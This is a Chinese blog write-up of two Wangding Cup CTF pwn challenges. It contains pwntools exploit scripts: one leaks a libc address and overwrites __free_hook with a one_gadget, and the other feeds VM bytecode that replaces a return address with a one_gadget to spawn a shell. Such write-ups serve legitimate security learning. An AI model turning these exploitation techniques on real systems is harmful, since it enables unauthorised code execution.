• 网鼎杯


    BOOM1

    题目附件

    看了大佬博客后,这题我还是没怎么整明白。

    看到这么一串东西那这个大概是手动实现了一个简易的C语言编译器。经过多次尝试发现程序没有什么限制。所以我们直接写程序开始利用。

    #!/usr/bin/python3
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    p = process('./pwn')
    
    payload = '''
    int main()
    {
        int a;
        printf("%p
    ", &a);
    }
    '''
    
    p.sendafter("living...", payload)
    
    
    
    
    p.interactive()

    这部分代码可以泄漏变量a的地址,由于a是存放在mmap分配的内存中,所以与libc基址的偏移是固定的,这样可以算出libc基址。(对于具体是那个版本的libc,采用这个方法只能逐个尝试)

    拿到libc基址后可以直接得出__free_hook地址,接着向__free_hook中写入one_gadget即可。

    #!/usr/bin/python3
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    context.log_level = 'debug'
    p = process('./pwn')
    
    payload = """
    main()
    {
        int b;
        int libc_base;
        int *free_hook;
        libc_base = (int)&b - 0x51efd8;
        free_hook = libc_base + 0x3c67a8;
        *free_hook = libc_base + 0x4527a;
        free(1);
    }
    """
    
    a = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    print(payload)
    gdb.attach(p)
    p.sendafter('living...
    ', payload)
    
    
    
    
    
    
    p.interactive()

    参考博客

    Boom2

    题目附件

    这是一道vm题目。程序一开始分配栈空间和代码码空间,如下:

    之后就是一些加减之类的运算,就不分析了。

    exp如下(此脚本是在ubuntu18.04上测试的):

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
    p = process('./pwn')
    
    one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
    payload  = p64(1) + p64(0x2d72e) #把0x2d72e放入v38中
    payload += p64(11) #向+3处写入0x2d72e
    payload += p64(1) + p64(0xe8) #向v38中写入0xf0
    payload += p64(26) #计算出main函数$rbp+0x8的栈地址
    payload += p64(13) #向+1出写入$rbp+0x8
    payload += p64(9) #取出原return addr
    payload += p64(13) #向+0处写入return addr
    payload += p64(1) + p64(0x2d7ce) #把0x2d72e放入v38中
    payload += p64(25) #计算one_gadget
    payload += p64(11) #向$rbp+0x8处写入one_gadget
    
    payload += p64(30)
    p.sendlineafter('Input your code> ', payload)
    
    
    p.interactive()
  • 相关阅读:
    (转) dedecms中自定义数据模型
    (转)dedecms网页模板编写
    (转)dedecms入门
    (转)浅谈dedecms模板引擎工作原理及自定义标签
    (转)PHP数组的总结(很全面啊)
    (转)echo和print的区别
    (转)dedecms代码详解 很全面
    (转)php 函数名称前的@有什么作用
    (转)PHP正则表达式的快速学习方法
    GIS中mybatis_CMEU的配置方法
  • 原文地址:https://www.cnblogs.com/countfatcode/p/13635935.html
Copyright © 2020-2023  润新知